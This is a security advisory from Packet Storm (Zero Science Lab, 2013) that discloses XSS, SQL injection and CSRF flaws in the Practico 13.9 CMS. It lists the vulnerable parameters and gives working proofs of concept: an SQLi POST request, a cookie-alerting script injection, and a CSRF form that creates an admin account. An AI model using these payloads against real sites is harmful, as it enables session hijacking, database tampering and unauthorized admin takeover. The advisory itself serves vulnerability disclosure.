Practico 13.9 XSS / CSRF / SQL Injection

2013-11-04T00:00:00
ID PACKETSTORM:123902
Type packetstorm
Reporter LiquidWorm
Modified 2013-11-04T00:00:00

Description

                                        
                                            `  
Practico 13.9 Multiple Vulnerabilities  
  
  
Vendor: Practico  
Product web page: http://www.codigoabierto.org  
Affected version: 13.9  
  
Summary: Practico is a free CMS software project released under  
license GNU GPL v2.0 for creating web applications in a completely  
visual and fast fashion. Without programming knowledge.  
  
Desc: Practico suffers from multiple vulnerabilities including  
Cross-Site Scripting (XSS), SQL Injection (SQLi) and Cross-Site  
Request Forgery (CSRF/XSRF). The application allows users to perform  
certain actions via HTTP requests without performing any validity  
checks to verify the requests. This can be exploited to perform  
certain actions with administrative privileges if a logged-in user  
visits a malicious web site. Input passed via several parameters is  
not properly sanitized before being returned to the user or used in  
SQL queries. This can be exploited to manipulate SQL queries by  
injecting arbitrary SQL code and HTML/script code in a user's browser  
session in context of an affected site.  
  
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)  
Apache 2.4.2 (Win32)  
PHP 5.4.7  
MySQL 5.5.25a  
  
  
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2013-5160  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5160.php  
  
Vendor: http://www.codigoabierto.org/anuncios/nuevaversion13911  
http://sourceforge.net/projects/practico/files/Parches_de_Actualizacion/  
  
  
  
10.10.2013  
  
--  
  
  
=================================================================  
| SQL Injection Params (POST) | XSS Params (GET) |  
=================================================================  
| | |  
| accionbuscar | accion |  
| alias_manual | accionbuscar |  
| alto | error_descripcion |  
| ancho | error_titulo |  
| ano | fin_reg |  
| categoria | id |  
| columna | informe |  
| comando | inicio_reg |  
| descripcion | login_filtro |  
| diaf | nombre_filtro |  
| diai | objeto |  
| fin_reg | tabla_datos |  
| formato_final | |  
| genera_pdf | |  
| id | |  
| imagen | |  
| informe | |  
| inicio_reg | |  
| login | |  
| login_filtro | |  
| mesf | |  
| mesi | |  
| nivel_usuario | |  
| nombre_filtro | |  
| nombre_tabla | |  
| padre | |  
| peso | |  
| posible_arriba | |  
| posible_centro | |  
| posible_clic | |  
| posible_escritorio | |  
| seccion | |  
| tabla_datos | |  
| tabla_manual | |  
| texto | |  
| tipo_comando | |  
| titulo | |  
| url | |  
| usuario | |  
| | |  
=================================================================  
  
  
---------  
SQLi PoC:  
---------  
  
POST /practico/ HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/practico/  
Cookie: __utma=1.1386375274.1372170047.1372170047.1372170047.1; __utmz=1.1372170047.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookies_accepted=yes; pun_cookie_e516be=1%7C93436127b7acec38d75088212a8649c4eb3c9e84%7C1406252203%7C9f9c497d5b3e089bf8bb1e2f145e599fa095c746; PHPSESSID=6e2rs9td58ardofhso3gm63421  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 145  
  
accion=guardar_informe&titulo=asdasd&descripcion=asdasd&categoria=asdasd&nivel_usuario=-1&ayuda_imagen=&ancho=&alto=[SQL Injection]&formato_final=T&genera_pdf=N  
  
  
--------  
XSS PoC:  
--------  
  
GET /practico/?accionbuscar=&usuario=&diai=09&mesi=10&diaf=09&mesf=10&ano=2013&accion=ver_seguimiento_general&inicio_reg=0&fin_reg=50"><script>alert(document.cookie);</script>  
  
  
-------------------  
CSRF Add Admin PoC:  
-------------------  
  
<html>  
<body>  
<form action="http://localhost/practico/" method="POST">  
<input type="hidden" name="accion" value="guardar_usuario" />  
<input type="hidden" name="login" value="hacker" />  
<input type="hidden" name="nombre" value="Testingus2" />  
<input type="hidden" name="descripcion" value="ZSL" />  
<input type="hidden" name="clave" value="hacker" />  
<input type="hidden" name="seguridad" value="0" />  
<input type="hidden" name="clave1" value="hacker" />  
<input type="hidden" name="correo" value="thricer@it.com.mk.ar" />  
<input type="hidden" name="estado" value="1" />  
<input type="hidden" name="nivel" value="5" />  
<input type="submit" value="Submit form" />  
</form>  
</body>  
</html>  
`